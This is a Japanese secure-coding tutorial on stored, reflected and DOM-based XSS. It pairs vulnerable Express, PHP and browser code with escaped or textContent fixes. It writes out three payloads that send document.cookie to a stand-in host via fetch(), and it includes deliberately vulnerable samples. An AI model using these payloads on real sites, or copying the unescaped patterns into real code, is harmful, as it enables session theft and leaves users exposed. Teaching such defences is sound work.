名前は似てるが、
XSS と CSRF は
正反対の攻撃。

// 保存されたコメントを一覧表示（危険）
app.get('/board', (req, res) => {
  const rows = db.all('SELECT body FROM comments');
  const html = rows.map(r => `<div class="c">${r.body}</div>`).join('');
  res.send(html); // r.body を無害化せず埋め込んでいる
});

攻撃者がコメント本文に <script>fetch('https://evil.example/c?d='+document.cookie)</script> を投稿すると、それが DB に保存される。以降その掲示板を開いた人全員のブラウザで、テンプレートリテラルに直接埋め込まれた ${r.body} がタグごと出力され、スクリプトとして実行される。攻撃者は一度投稿するだけで、以後の閲覧者を自動で巻き込めるのが格納型の怖さ。

const esc = s => s.replace(/[&<>"']/g, c =>
  ({'&':'&amp;','<':'&lt;','>':'&gt;','"':'&quot;',"'":'&#39;'}[c]));

const html = rows.map(r => `<div class="c">${esc(r.body)}</div>`).join('');

エスケープすると <script> は <script> になり、「実行されるタグ」ではなく「画面に見える文字列」になる。テンプレートエンジン（EJS の <%= %>、Handlebars の {{ }}）を使えば既定でこれをやってくれる。

// 「"○○" の検索結果」と表示したいだけ（危険）
$q = $_GET['q'];
echo "<h2>“$q” の検索結果</h2>";

攻撃者はこんな URL を作り、標的に踏ませる：
https://shop.example/search.php?q=<script>fetch('https://evil.example/s?c='+document.cookie)</script>
サーバーは $q をそのまま <h2> の中に反射するので、リンクを踏んだ被害者のブラウザでスクリプトが即実行される。保存はされないので、「攻撃 URL を踏ませる」フィッシングとセットで使われる。短縮 URL やメールのリンクに仕込むのが典型。

$q = $_GET['q'];
echo "<h2>“" . htmlspecialchars($q, ENT_QUOTES, 'UTF-8') . "” の検索結果</h2>";

ENT_QUOTES でシングル/ダブル両方のクォートも変換する。属性値の中（value="..."）に出す場合は特にクォートのエスケープが効いてくる。

// #welcome=名前 を挨拶に反映したいだけ（危険）
const name = decodeURIComponent(location.hash.slice(1));
document.querySelector('#greet').innerHTML = 'ようこそ ' + name;

攻撃 URL：https://app.example/#<img src=x onerror="fetch('https://evil.example/d?c='+document.cookie)">
location.hash の値を innerHTML に代入した瞬間、ブラウザはそれを HTML として解釈し、<img> の onerror（画像読み込み失敗で発火）が動く。サーバーには # 以降が送られないため、サーバー側ログにも WAF にも痕跡が残りにくいのが DOM 型の特徴。原因は完全にフロントエンド実装側にある。

const name = decodeURIComponent(location.hash.slice(1));
document.querySelector('#greet').textContent = 'ようこそ ' + name;
// textContent はHTMLとして解釈せず、必ず「文字」として入れる

どうしても HTML を入れたいときは DOMPurify.sanitize() のようなサニタイザを通す。React/Vue でも dangerouslySetInnerHTML / v-html にユーザー値を渡すと同じ穴が開く。